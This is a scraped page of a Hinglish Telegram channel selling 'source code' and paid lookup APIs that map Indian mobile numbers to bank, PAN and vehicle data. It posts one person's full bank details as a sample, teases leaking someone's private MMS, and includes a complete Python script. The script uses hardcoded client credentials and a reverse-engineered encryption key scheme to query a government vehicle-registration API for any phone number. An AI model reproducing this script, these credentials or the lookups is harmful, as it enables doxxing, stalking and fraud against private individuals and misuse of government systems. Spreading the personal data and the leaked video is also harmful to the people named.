ru
Feedback
𝘼𝙗𝙝𝙞𝙜𝙮𝙖𝙣 𝙏𝙤𝙤𝙡𝙨 𝙇𝙖𝙗

𝘼𝙗𝙝𝙞𝙜𝙮𝙖𝙣 𝙏𝙤𝙤𝙡𝙨 𝙇𝙖𝙗

Открыть в Telegram

Personal research tools • APIs • bots Updates • demos • limited access drops Not for illegal use

Больше
Страна не указанаКатегория не указана
963
Подписчики
+4324 часа
+2677 дней
+59430 дней
Архив постов
Aaj leak hoga sahil ka mms

Message for joining
Message for joining

Very nice bro 👍

abhi-gyan-pandey.mp3

Oct ki end tak bna duga 😂🍼

Oh shit ye toh meri research hai 🌚😂

Utani chijen Maine public mein leak Ki Hai To soch sakte ho private wale mein kya hoga Isliye aao join kar lo

Bekar hai bc chud jati hai thodi der me

Name: RUKSAR AZMI ISLAM UPI: ruksarazmiislam@oksbi Account Type: SAVINGS IFSC: SBIN0014257 Bank: State Bank of India Branch:
Name: RUKSAR AZMI ISLAM UPI: ruksarazmiislam@oksbi Account Type: SAVINGS IFSC: SBIN0014257 Bank: State Bank of India Branch: MANKACHAR City: DHUBRI State: ASSAM Address: CHOWK BAZAR, MANKACHAR P.OMANKACHAR DIST.DHUBRI PIN783131 Number to bank info 99.99% success rate Government service ka use karke maping karti hai isliye success rate bahut high hai Api 500₹ month Src 1500₹ Itna cheap Koi nahin dega Aao lelo @Kz40x

Do din mein itne source code Diya hun Abhi to aur Dunga parmanent channel hai 😆 Message here for joining @Kz40x Price 1200₹
+2
Do din mein itne source code Diya hun Abhi to aur Dunga parmanent channel hai 😆 Message here for joining @Kz40x Price 1200₹ permanent Har दो-दो din per price badhega Kyunki src badhati jayegi isliye abhi join kar lo

Pan info available Src 1500₹ Api per hit 1₹
Pan info available Src 1500₹ Api per hit 1₹

https://t.me/+g3vsgqhVnMo3YTll Lo mera paid channel free mein Maze karo

def main() -> None: print("=" * 44) print(" Mobile → Vehicle Lookup (NAPIX)") print("=" * 44) mobile = input("\nEnter 10-digit mobile number: ").strip() mobile = re.sub(r"\D", "", mobile) if len(mobile) != 10: print("Error: enter exactly 10 digits.") return print("\nSearching... please wait") try: result = vehicle_by_mobile(mobile) print_result(result) except Exception as e: print("\nError:", e) if name == "main": main() `

} headers = { "User-Agent": "okhttp/4.9.2", "Accept": "application/json", "timestamp": timestamp, "Authorization": f"Bearer {token}", "Param2": "2.0.142", "Param1": "abcd", "Content-Type": "application/json; charset=utf-8", } response = requests.post( url, json=envelope, headers=headers, timeout=timeout or TIMEOUT ) raw: Any = response.text try: outer = response.json() encoded = outer.get("data") if encoded: encrypted_text = base64.b64decode(encoded).decode("utf-8") raw = aes_transform(False, encrypted_text, key) try: raw = json.loads(raw) except json.JSONDecodeError: pass else: raw = outer except Exception: pass return response.status_code, raw def vehicle_by_mobile(mobile_no: str) -> dict[str, Any]: mobile_no = str(mobile_no or "").strip() if not re.fullmatch(r"\d{10}", mobile_no): raise ValueError("Mobile number must be exactly 10 digits") token = get_token() url = NAPIX_API_BASE_URL.rstrip("/") + "/vahan/vahancapi/common/getvehiclevalidity" last: Any = None for attempt in range(2): try: status, result = encrypted_post( url, {"mobileNo": mobile_no}, token, timeout=10.0 ) except requests.RequestException as exc: status, result = None, {"error": str(exc)} if status and status < 500 and result not in (None, ""): last = result break last = result time.sleep(1.0) if last is None: raise RuntimeError("Vahan did not respond. Try again.") api_message = last.get("apiMessage") or {} if isinstance(last, dict) else {} vehicles_raw = last.get("data") if isinstance(last, dict) else None vehicles: list[dict] = [] if isinstance(vehicles_raw, list): vehicles = [v for v in vehicles_raw if isinstance(v, dict)] elif isinstance(vehicles_raw, dict): vehicles = [vehicles_raw] if not vehicles: msg = ( (last.get("error") if isinstance(last, dict) else None) or api_message.get("developerMessage") or api_message.get("message") or "No vehicle registered against this mobile number." ) return { "mobileNo": mobile_no, "found": False, "vehicles": [], "message": str(msg), } formatted = [] for v in vehicles: entry = {label: v.get(key) for key, label in VEHICLE_VALIDITY_KEYS} entry["_raw"] = v formatted.append(entry) return { "mobileNo": mobile_no, "found": True, "count": len(formatted), "vehicles": formatted, } def print_result(data: dict[str, Any]) -> None: print("\n" + "=" * 44) if not data.get("found"): print("Mobile :", data.get("mobileNo")) print("Status : No vehicles found") print("Message:", data.get("message", "-")) print("=" * 44) return print(f"Mobile : {data['mobileNo']}") print(f"Found : {data.get('count', 0)} vehicle(s)") print("=" * 44) for i, v in enumerate(data.get("vehicles") or [], 1): print(f"\n--- Vehicle #{i} ---") for label in ( "Registration No", "State", "State Code", "RTO Office", "Office Code", "Registration Upto", "Fitness Upto", "Tax Upto", "Insurance Upto", "PUCC Upto", "Permit Upto", ): val = v.get(label) if val not in (None, "", []): print(f" {label:20}: {val}") print("\n" + "=" * 44)

Number to vehicle src ` #!/usr/bin/env python3 """ Pydroid script: Mobile number -> linked vehicles (mParivahan / NAPIX) Install (Pydroid pip): requests pycryptodome Run: python vehicle_mobile_pydroid.py """ from future import annotations import base64 import json import os import re import socket import time from typing import Any from urllib.parse import urlparse try: import requests from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad except ImportError: raise SystemExit( "Missing packages.\n" "Pydroid: Pip → install: requests and pycryptodome" ) # ── NAPIX config ────────────────────────────────────────────── NAPIX_BASE_URL = os.getenv( "NAPIX_BASE_URL", "https://delhigw.napix.gov.in/nic/parivahan/" ).rstrip("/") + "/" NAPIX_API_BASE_URL = os.getenv( "NAPIX_API_BASE_URL", "https://delhigw.napix.gov.in/nic/parivahan/mparivahan/wrapperapi/", ).rstrip("/") + "/" CLIENT_ID = os.getenv("NAPIX_CLIENT_ID", "b91c303443f61b37106750823881cd2f") CLIENT_SECRET = os.getenv( "NAPIX_CLIENT_SECRET", "de83eeeb148878ae375f28756492e8a0" ) TIMEOUT = 12.0 _TOKEN: dict[str, Any] | None = None VEHICLE_VALIDITY_KEYS = [ ("regNo", "Registration No"), ("stateCd", "State Code"), ("stateName", "State"), ("officeName", "RTO Office"), ("offCd", "Office Code"), ("regnUpto", "Registration Upto"), ("fitUpto", "Fitness Upto"), ("taxUpto", "Tax Upto"), ("insUpto", "Insurance Upto"), ("puccUpto", "PUCC Upto"), ("permitUpto", "Permit Upto"), ] def aes_transform(encrypt: bool, value: str, key: str) -> str: key_bytes = key.encode("utf-8") if encrypt: encrypted = AES.new(key_bytes, AES.MODE_ECB).encrypt( pad(value.encode("utf-8"), 16) ) return base64.b64encode(encrypted).decode("ascii") decrypted = AES.new(key_bytes, AES.MODE_ECB).decrypt(base64.b64decode(value)) return unpad(decrypted, 16).decode("utf-8") def request_key(timestamp: str) -> str: return timestamp[-4:][::-1] + timestamp[:4][::-1] + "!~)#@*&^" def napix_reachable(timeout: float = 3.0) -> bool: host = urlparse(NAPIX_BASE_URL).hostname or "delhigw.napix.gov.in" try: with socket.create_connection((host, 443), timeout=timeout): return True except OSError: return False def get_token(force_refresh: bool = False) -> str: global _TOKEN now = int(time.time()) if not force_refresh and _TOKEN and int(_TOKEN.get("expires_at", 0)) > now + 30: return str(_TOKEN["access_token"]) if not napix_reachable(): raise RuntimeError( "NAPIX gateway not reachable. Indian IP / good net required." ) r = requests.post( NAPIX_BASE_URL + "oauth2/token", data={ "grant_type": "client_credentials", "scope": "napix", "client_id": CLIENT_ID, "client_secret": CLIENT_SECRET, }, headers={ "User-Agent": "okhttp/4.9.2", "Content-Type": "application/x-www-form-urlencoded", }, timeout=TIMEOUT, ) r.raise_for_status() data = r.json() access = data.get("access_token") if not access: raise RuntimeError("Token endpoint did not return access_token") _TOKEN = { "access_token": access, "expires_at": now + int(data.get("expires_in", 300)), } return str(access) def encrypted_post(url: str, body: Any, token: str, timeout: float | None = None): timestamp = str(int(time.time() * 1000)) key = request_key(timestamp) plain = json.dumps(body if body is not None else {}, separators=(",", ":")) encrypted_data = aes_transform(True, plain, key) envelope = { "data": base64.b64encode(encrypted_data.encode("ascii")).decode("ascii")

Chut faad dunga Loss hogya mera Alag alag src sell krta 80k tak main earn kr leta